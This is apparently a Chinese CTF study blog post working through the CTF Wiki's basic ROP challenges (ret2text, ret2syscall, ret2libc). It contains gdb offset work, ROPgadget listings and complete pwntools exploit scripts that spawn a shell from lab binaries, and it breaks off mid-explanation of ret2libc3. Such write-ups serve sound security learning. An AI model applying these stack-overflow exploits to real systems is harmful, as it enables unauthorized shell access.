CTFwiki之基本ROP

现在才知道CTFwiki上有这么多的好东西,果断转换到这里来学,在这里能学到很多好东西。

基本 ROP - CTF Wiki (ctf-wiki.org)

这是官方给出的wp。

接下来开始写我自己对这些题的理解和收获。

ret2text

原理

ROP的基本原理就是栈溢出,只是通过栈溢出,然后返回的地址不同罢了。这里就是返回回程序本来就有的函数。

由给出的题来解释这个原理。

题目

image-20220307194821307

通过checksec和file命令查出该文件只开启了堆栈不可执行保护,是个32位的程序。

image-20220307195011150

ida反汇编看出来,这里存在栈溢出漏洞。

接下来就是寻找该数组到返回地址的偏移是多少来控制返回地址。

image-20220307195121839

其实这里是可以看出来偏移为多少的,但是ida算出来的偏移地址有时候是有问题的,最好是以gdb调试出来的返回地址为准。(这里的偏移地址就有问题,这里算出来是0x68,但是实际上并不是,貌似可能是ida的机制问题,没有去细细研究)

接下里就是通过gdb调试来调试出偏移地址。

1
2
3
0x80486a7 <main+95>     lea    eax, [esp + 0x1c]
0x80486ab <main+99> mov dword ptr [esp], eax
0x80486ae <main+102> call gets@plt

这里可以看出输入数组的起始地址相对于这时候的栈顶偏移为0x1C,于是只要知道栈底的地址和此时栈顶的地址即可。

1
2
3
EBP  0xffffd428 ◂— 0x0
ESP 0xffffd3a0 —▸ 0xffffd3bc ◂— 0x0

这时的栈顶和栈底可以看到,于是就可以算出来偏移地址为多少了。当前栈帧的大小为0x88,且数组起始地址相对于栈顶的地址偏移为0x1c,故偏移为0x6c。

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}

可以在ida中找到这么一个函数调用了system,于是我们可以将返回地址构造为这个system函数的地址即可。

1
2
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system

在这里的时候我在想到底是填上面那个地址还是下面那个地址,后来我想明白了,这里还需要先压入参数,应该先填上面的那个地址,压入参数,直接填调用_system的地址不能获得shell。

exp如下:

1
2
3
4
5
6
from pwn import *
context(os = 'linux',log_level = 'debug')
p = process("./ret2text")
payload = 0x6c*'a'+ 'aaaa'+ p32(0x804863A)
p.sendlineafter("There is something amazing here, do you know anything?",payload)
p.interactive()

ret2shellcode

原理

有时候程序本身是没有getshell的函数的,于是我们可以在堆栈上构造shellcode然后控制返回地址去执行这段代码

但是首先,在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

题目

以wiki给的题目来实践,

image-20220307201415451

通过file和checksec来看,什么保护都没开,是32位的程序。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}

这里一样存在栈溢出漏洞,但是将输入的函数给了buf2。

1
2
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends

这里可以看出他将我们输入的字符串给了bss段的buf2.

image-20220307201738202

通过百度百科可以看到bss段是存放未初始化和初始化为0的全局或静态变量。可以读写,但不一定可以执行,于是我们要查看一下该段可否执行。

image-20220307202016513

发现居然不可以执行,和wp给出的wp情况咋不一样。

ret2syscall

原理

syscall即系统调用,ret2syscall即将返回地址改写为系统调用。来获取shell

这里需要用到ROPgadgets脚本。来获取gadgets(小工具,用来构造执行程序流,即ROP。

题目image-20220307204524648

32位程序开启了堆栈不可执行,其他啥都没开,还好。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

一样是栈溢出漏洞,不过貌似没有可以利用的函数,也不能在堆栈上执行shellcode。

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell。

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

因为系统调用函数传参用寄存器来传参,且传参顺序为eax,ebx,ecx,edx。

故eax应该放系统调用号,ebx放/bin/sh的地址,ecx放0,edx放0。

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

1
2
3
4
5
6
7
┌──(root💀kali)-[/home/…/ctf_workstation/ctfwiki/基本ROP/ret2syscall]
└─# ROPgadget --binary ret2syscall --only "pop|ret" | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

这里用ROPgadgets来寻找弹出栈上的值到eax然后返回的指令的首地址。这里可以选0x080bb196 : pop eax ; ret。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root💀kali)-[/home/…/ctf_workstation/ctfwiki/基本ROP/ret2syscall]
└─# ROPgadget --binary ret2syscall --only "pop|ret" | grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

同理,这里可以选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret。虽然和函数传参的顺序不一样,但是我们可以将参数的顺序也修改一下,就可以起到一样的效果。

1
2
3
4
5
┌──(root💀kali)-[/home/…/ctf_workstation/ctfwiki/基本ROP/ret2syscall]
└─# ROPgadget --binary ret2syscall --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

给ebx的参数是”/bin/sh”的地址,用–string就可以找到这个字符串。

1
2
3
4
5
6
7
8
┌──(root💀kali)-[/home/…/ctf_workstation/ctfwiki/基本ROP/ret2syscall]
└─# ROPgadget --binary ret2syscall --only "int"
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

并且调用完系统调用函数时需要int 0x80来充当中断,就是传说中的软中断。这里的int不是C语言的整型类型,而是汇编的中断代码。

于是就可以构造出来exp了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408

payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
print (payload)
sh.sendline(payload)
sh.interactive()

这里的溢出偏移和第一题是一样的,这里就不再凑字数了。

1
2
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

其他地方的代码好理解,这里我再讲讲这段关键的payload,这里的flat是pwntools的函数。

pwnlib.util.packing — 字符串的打包和解包 — pwntools 4.7.0 文档

链接给这里了,其实就是将字符串打包,和我们常写的payload是一样的。

1
payload = 'A' * 112+p32(pop_eax_ret)+p32(0xb)+p32( pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+ p32(int_0x80)

image-20220307211538086

这里我给出了流程图,执行完当前函数后,会将控制权给pop eax这段代码,然后这段代码会将他下面的栈的数据弹出给eax,然后将控制权给pop_edx_ecx_ebx_ret这段代码,然后分别将下面的两个栈的值个edx和ecx,然后将”/bin/sh”的地址给ecx,然后将控制权给软中断。对于中断的理解我放在另外一篇博客里面去了。不太了解什么是中断的可以去看看。(3条消息) 系统调用浅解与原理_coke_pwn的博客-CSDN博客

通过这个题我对系统调用有了更深刻的理解,非常开心。

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

这里需要的知识为got表和plt表的相关知识。(3条消息) 动态链接plt和got表浅谈_coke_pwn的博客-CSDN博客_got表内容

这里放上我对这个的一些写的笔记,大部分都是抄录的大佬的博文。如有错误,欢迎指正。

题目

例题1

image-20220307220033672

还是一样,检查一下防护。

32位只开启了堆栈不可执行。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

查看反汇编的源代码,发现存在栈溢出漏洞。

1
2
3
  if ( input == secretcode )
system("shell!?");
}

和ret2text一样,存在system函数,但是这里的参数不对,于是就需要我们来手动构造参数”/bin/sh”。

1
2
3
4
5
┌──(root💀kali)-[/home/…/ctfwiki/基本ROP/ret2libc/ret2libc1]
└─# ROPgadget --binary ret2libc1 --string "/bin/sh" 1
Strings information
============================================================
0x08048720 : /bin/sh

ropgadget查出来发现存在/bin/sh字符串。于是我们就可以构造exp了,但是这里我们不能再直接调用原有的函数的代码了,因为参数不对,我们可以调用对应的plt表来跳转到system在libc的真实地址去。

1
2
3
4
5
6
7
8
9
10
11
12
13
.plt:08048460
.plt:08048460 ; =============== S U B R O U T I N E =======================================
.plt:08048460
.plt:08048460 ; Attributes: thunk
.plt:08048460
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system proc near ; CODE XREF: secure+44↓p
.plt:08048460
.plt:08048460 command = dword ptr 4
.plt:08048460
.plt:08048460 jmp ds:off_804A018
.plt:08048460 _system endp
.plt:08048460

在ida中发现了system对应的plt表。

于是构造exp

1
2
3
4
5
6
7
8
from pwn import *
p = process("./ret2libc1")
system_plt = 0x8048460
binsh_addr = 0x08048720
payload = 'a'*112 + p32(system_plt) + "aaaa" + p32(binsh_addr)

p.sendlineafter("RET2LIBC >_<",payload)
p.interactive()

注意,一般正常调用system函数前会将函数的参数压入栈中,再将调用函数system代码的下一个指令的地址压入栈中,故参数应该在system地址后面第二个。中间填充任何一个4字节数据即可(因为地址是4字节的)。

例题2

image-20220307225210786

32位文件,开启了堆栈不可执行。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}

还是一样的栈溢出漏洞,但是我在做这个题的时候发现了一个好用的脚本。我们这里可以使用暴力法,扔一堆字符进去!看报错点再哪里,然后可以间接查看栈大小,这是覆盖了返回地址的相对偏移大小,也就是可以直接填充的‘A’的个数。就可以算出偏移量。

可以直接使用gdb-peda的

  • 使用gdb运行程序

    gdb ./pwn

  • 生成溢出字符串
    ($gdb-peda) pattern create 200

    长度需要保证可以溢出覆盖至RIP

  • 运行至输入点
    ($gdb-peda) c
    输入生成的溢出字符串,回车后报错
    复制栈顶前四个字节(64 bits为前8个字节)

  • 计算偏移量
    ($gdb-peda) pattern offset [xxxx]
    偏移量显示出来后,重新运行程序至输入点,输入offset*‘A’,然后回车至报错停下,查看是否为预期的ebp被覆盖、eip正常,根据结果调整offset的长度

这个工具还不错,起码比手撸偏移量好多了。这里还有一些方式,我写了一篇博客来总结了方法。(4条消息) 栈溢出计算偏移量_coke_pwn的博客-CSDN博客

回到正文。

通过分析文件,可以看到程序中存在system函数,但是并不存在字符串”/bin/sh”,于是我们可以通过gets函数来获得字符串,以获取shell,

这里需要一个pop 寄存器;ret的gadget。作用在exp讲。

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[/home/…/ctfwiki/基本ROP/ret2libc/ret2libc2]
└─# ROPgadget --binary ret2libc2 --only "pop|ret" 1
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

然后我们在ida找到gets函数和system函数的plt表,

1
2
3
4
5
6
.plt:08048460                 jmp     ds:off_804A010
.plt:08048460 _gets endp


.plt:08048490 jmp ds:off_804A01C
.plt:08048490 _system endp

而且我们需要一个全局变量来存储”/bin/sh”字符串,在ida中可以找到,

1
2
3
4
5
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
.bss:0804A080

于是就可以构造ROP链了,exp如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process("./ret2libc2")
context(os = 'linux',log_level = 'debug')
sys_addr = 0x8048490
gets_addr = 0x08048460
pop_eax_ret = 0x0804843d
buf2 = 0x0804A080
payload = 'a'*112 + p32(gets_addr) + p32(pop_eax_ret) + p32(buf2)+ p32(sys_addr)+ "aaaa"+p32(buf2)
p.sendlineafter("What do you think ?",payload)
p.sendline("/bin/sh")
p.interactive()

这里的pop的作用便是充当返回地址,然后将下一个栈上的数给弹出去,将返回地址定为system,”aaaa”的作用是当返回地址。

于是我们便可以构造另一个exp。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process("./ret2libc2")
context(os = 'linux',log_level = 'debug')
sys_addr = 0x8048490
gets_addr = 0x08048460
pop_eax_ret = 0x0804843d
buf2 = 0x0804A080
payload = 'a'*112 + p32(gets_addr) + p32(sys_addr) + p32(buf2)+p32(buf2)
p.sendlineafter("What do you think ?",payload)
p.sendline("/bin/sh")
p.interactive()

效果是一样的。

PS:

在网上查题解的时候发现了以前一直不太懂的东西,为什么在栈上被调函数的后一位就是返回地址,其中机制是什么,直到我跟进了函数gets之后才知道了。最后函数是以ret结尾的,相当于将下一个栈上的地址给了EIP寄存器。

1
2
3
4
5
6
7
8
  0xf7e29ae6 <gets+230>    sub    dword ptr [ebx], 1
0xf7e29ae9 <gets+233> lea esp, [ebp - 0xc]
0xf7e29aec <gets+236> mov eax, edi
0xf7e29aee <gets+238> pop ebx <0xf7fa80e0>
0xf7e29aef <gets+239> pop esi
0xf7e29af0 <gets+240> pop edi
0xf7e29af1 <gets+241> pop ebp
0xf7e29af2 <gets+242> ret

收获满满。

例题3

image-20220310112941390

这题不是用的kali环境,用的是ubuntu环境,师傅给我说一般pwn的题都是ubuntu的环境,kali的环境是基于Debian环境的。用的库文件不一样,之后的题我可能都是那ubuntu环境来做了。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}

还是栈溢出漏洞,但是题目告诉了我们,这里面没有”/bin/sh”字符串和system函数。

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下